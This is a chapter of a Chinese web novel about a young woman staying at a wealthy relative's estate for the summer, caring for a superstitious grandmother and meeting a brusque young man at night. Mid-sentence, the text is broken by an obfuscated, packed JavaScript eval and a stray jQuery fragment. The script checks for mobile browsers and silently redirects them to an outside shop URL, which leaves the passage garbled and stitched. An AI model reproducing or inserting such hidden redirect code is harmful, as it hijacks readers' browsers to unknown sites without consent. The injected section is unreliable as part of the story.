7. 夏日来客(7)
    #夏日来客(7)

    陈华的卧室内。

    陈句句跟陈华一块儿坐在床边,折黄黄蓝蓝的小孩的衣服。

    “姐。”

    “嗯?”

    “园子里还有什么要注意的吗?”

    “怎么吓着你了?”陈华抬头。

    “有点。”陈句句诚实,“我也怕不知道什么时候就让老太太不高兴了。”

    “其实老太太平常性子挺好的,就是容易忌讳。毕竟人上了年纪。”陈华体谅地说,“大概七八年吧,老太太生过一场重病,差点死了。在医院里都说梦见了她太奶奶在叫她,一直做噩梦,后来做手术好了,但还是怕。”

    陈句句认真听着。

    “信任那个林姐就是那个时候开始,林姐的姨妈跟老太太是一个村子的,好像还是村里一个很神的巫婆吧。她也懂一些门门道道的,每天跟老太太说要注意这个,注意那个,她太奶奶就不会来抓她。”

    “让亲戚陪住也是从那个时候开始的吗?”

    南南的小衣服都堆成了小腿高,陈华回答:“是的。鬼门关走一场,心就会变。就会更想亲人,想热闹。但男人怎么可能陪在老母亲身边,陪得了一个月也陪不了一年,更何况人家到处开公司的,老婆也不想来,孙子又要上学,最后就把我们这些八竿子打不着的亲戚叫过来了。”

    “原来是这样。”陈句句捏捏南南的衣服,想起午饭时老太太的神情,像是有点儿难过。

    人怕死是理所应当的,更何况鬼门关走过一遭。

    没亲儿子又常年不在身边。

    陈句句为自己之前所想,只要让两个保姆照顾老太太就能省事又省钱的想法感到汗颜。

    徐家有钱,不管怎么样,这些亲戚在总是热热闹闹,每日里很多话,还又都对老人家奉承体贴、嘘寒问暖,就算是假的,对老人家来说也是货真价实的温暖。

    “行了行了。衣服叠完了。你先回去休息,咱们下午还要出去呢。”

    避免太阳晒人,下午是下午三点集合,统一坐车去参观王府。

    这回,徐日旸和林昕昕都没来。

    王府外面有卖那种陶瓷小人的,不到杯子大小,50-200一个,溢价很高。

    堂姐让所有小朋友挑,特地拍拍陈句句肩膀:“你也挑一个。”

    陈句句没挑。

    堂姐凑到她旁边低声:“没关系,老太太付钱,想买什么就买。”

    “我不是很喜欢。”

    “也行。都是小孩子玩意儿。”

    所有人都挑好后,堂姐扫码付了一千零五十。

    虽然她自己没拿,还是暗暗念了下老太太的好。就算人家财大气粗压根不介意,照顾到自己头上就应该感激。

    徐家园位置好,车子包接包送,预算充足,他们坐车去参观王府,逛了一个小时又舒服地坐车回来,下午五点多,正好赶上晚饭。

    陈句句走进食堂。

    林昕昕还在她固定的那张餐桌上,问坐在她对面的弟弟林洋洋:“你手上是什么?”

    “买的玩具。”

    林昕昕拿过来看了看:“不就是一个瓷人吗,没劲。你们还干什么了?”

    “就是参观了一下就回来了。”

    “徐日旸也回来了吗?”

    “没有。”

    “那他去哪了,一下午不见人。”

    “姐,你为什么老关心那个徐日旸啊。”林洋洋好奇地问。

    陈句句正在打饭,但这个问题,她也很关心。

    林昕昕手肘支在桌面开始剥指甲玩:“你班上有你喜欢的女生吧?”

    林洋洋点点头。

    “你是不是老喜欢揪她头发动她书包之类的?”

    “我对所有女生都这么干。”

    “那你是不是会特别关注她,特别欺负她?”

    “好像是吧。”

    “这就是了。一个男生喜欢女生才会在意她,才会欺负她。否则他只会不搭理。徐日旸肯定在乎我的。”

    “……”陈句句默默静了几秒。

    怎么说呢。

    还是少看点言情小说吧。

    晚上十点,陈句句洗完澡下楼,一边吹着凉风往院子门口走,一边给家里打电话。

    “喂妈妈。今天身体好些了吗?”

    “好多了。”

    “爸爸下班回来了吗?”

    “还没。”

    “这么晚啊。”

    “是啊。他现在年中正忙。”

    “哦。”陈句句顿了顿,“爷爷奶奶呢。”

    “他们早睡了。”

    “就你一个人在屋子里?”

    “还有你姑姑,我听到她在隔壁看电视,我在刷手机。”

    “那上厕所姑姑会帮你吗?”

    “房间里有尿盆,我自己能行。”

    前几年,陈句句妈妈李芬推电动车到小区车棚里,有个电动车突然爆炸,火势迅速,她被重度烧伤送进了医院。

    具体是那辆电动车起火排查不出来,找不到责任人。

    命虽然保住了,可做手术包括未来的修复、植皮都是一大笔钱。

    那时候陈句句家里还是小康之家,拿出存款又找亲戚朋友来来回回借了三十多万,心想着,先把人保住,钱可以慢慢还。

    本来已经恢复正常了,上个月李芬去医院做正常检查,又被查出肝部肿瘤,可能是体内长期发炎导致的,总之还需要做手术。

    亲戚都快借完了,只能卖房手术。

    房子本身贷款没还完,房价跌了,也没卖出多少钱……

    好在一家人都是互帮互助的,妈妈做手术后,他们一起都是生活在爷爷奶奶家。

    可爷爷奶奶家也没多少空房。

    爷爷奶奶一间,爸爸妈妈一间,姑姑也有一间。

    本来说让陈句句跟姑姑住,可姑姑不太愿意。

    姑姑今年大四,说她房间小,不喜欢别人动,加上今年毕业。她准备找到工作就自己搬出去住,房间让给陈句句,但是找工作这期间,不太想跟人合住。

    姑姑也付出很多。

    暑假这段时间,陈句句得找个别的住处。

    有次打电话,爸妈提到这件事,堂姐一听立刻就说她那里有空房间,可以来住,算是解了燃眉之急。

    挂完妈妈的电话,陈句句侧身进了假山洞。

    徐日旸一下午和一晚上都没人影,估计是自己出去玩了,现在晚上十点,就算他回来,也应该是回房间睡觉。

    陈句句坐上去,双腿曲起,窝在假山里面那个勺子形状的洞里。

    住处太吵了。

    林昕昕在减肥,开门放着音乐,跳了一晚上健美操。

    她弟弟也吵,看视频会疯狂大叫。

    两个人还吵架。

    陈句句喜欢一个人在小小的密闭空间待着,无人打扰。

    双手搁在膝盖上握住手机。

    刷这朋友圈。

    楚杨和周心文的朋友圈都没更新,停留在那张英国伦敦的合照上。

    屏幕的光浅浅地照在她脸上。

    “你在这干什么?”忽然,外面传来一句声音,吓了陈句句一大跳,她扭过头,见到站在缝隙口的徐日旸,他开了手机的手电筒,正往里照。

    徐日旸是经过假山,因缝隙里的一抹屏幕亮光才注意到的,屏

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460978|141724||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    幕微弱而清楚地照出了陈句句的侧脸,幸亏她轮廓五官秀气,换个不好看的,大半夜还真说不出什么场面:“这么晚你一个人在这里干什么,装神弄鬼?”

    “我在想事情。”陈句句回答。

    徐日旸干脆侧身进假山洞:“什么事情值得大半夜一个人在这想?”

    陈句句的手机屏幕因为许久没动熄灭了。

    徐日旸握着手机的手垂直,照着地面,上方还是比较重的黑,两个人都只有隐隐绰绰的轮廓。

    “我觉得你今天的事做错了。”陈句句在黑暗中偏向徐日旸方向,鼓起勇气,“你不应该伤害你奶奶。”

    “那种迷信的事又当不得真。”

    “但在有些人眼里,那就是真的。你奶奶也许会害怕。”

    堂姐都知道徐日旸奶奶以前生过大病,特别迷信鬼神的事,她不相信徐日旸会不知道。老人家糊涂了一点,但早知道是忌讳,就不应该故意设计。

    徐日旸沉默了两秒:“你要是家里住了一家死皮赖脸,赶都赶不走,还天天一脸花痴缠着我的人,你就知道我的感觉了。”

    这是在说林昕昕吗?

    陈句句默了默,那边可还在走言情剧本呢。

    “我的确不知道你的感觉。”陈句句转过头,双手在膝盖上微拢,“只是,你暑假来也是为了陪你奶奶的吧。其他人再讨厌也是不相干的人。为不相干的人伤害亲近的人,是得不偿失的。”

    “没想到你这么有哲理。”徐日旸语气笑了下,“还挺孝顺。”

    “……”

    陈句句听不出他这是赞成还是揶揄,又想起他不喜欢别人占他位置,起身准备离开。

    徐日旸闪身挡在她面前:“我让你走了吗?”

    “……”陈句句抬头,之前还是“没有脚?”,现在就是“我让你走了吗?”都不知道这个人的状态稳不稳定。

    假山洞内狭窄,徐日旸大概是刚回来没洗澡,身上有点点汗味。

    不是很重。

    黑暗中两个人不经意间黏了下胳膊。

    陈句句跟被火烫了下缩回来,因她洗过澡皮肤微凉,只觉得那皮肤烫烫的,像是放在火上的铁壶。

    “你怕我?”

    徐日旸脑袋低垂,视线明晃晃落在她脑袋顶上。

    “不是。没有。不怕。”陈句句抿抿唇,还想往后退一点,可没地方退。

    “不怕我,你跑什么跑?”

    “……”

    实在太近了。

    徐日旸的呼吸和体温都像是在传过来,近在咫尺。

    他高高的,挡住前方,占了大片位置。陈句句拉不开距离,又担心没办法完全不肢体碰撞地绕开他,或者干脆推开他?

    空气中足足静默了好几秒。

    假山外,黑夜的天空明净,只有一轮明月。

    陈句句小声:“我要回去睡觉。”

    徐日旸瞧她一眼,这才侧身让开了路。

    陈句句松口气,率先贴着墙壁侧身钻出来,徐日旸也出来,跟在她后面。

    脚步声跟她的脚步声重叠,好像就维持在不远不近的固定距离一样。

    陈句句不好放慢,怕跟他并肩,又不想走快,显得跟逃离似的。

    终于到了她的住处。

    想快点回家是正常的吧。陈句句终于可以理所当然地小跑两步到楼底,扶着楼梯快步上三楼。

    窗户是开着的,她出去时没关。

    故意等了会儿才到窗口那边,见到徐日旸已经路过这边,朝里面的楼栋去了。

    陈句句双手搭在窗台上,松口气。

    怕,她确实有点怕他。

    他很凶。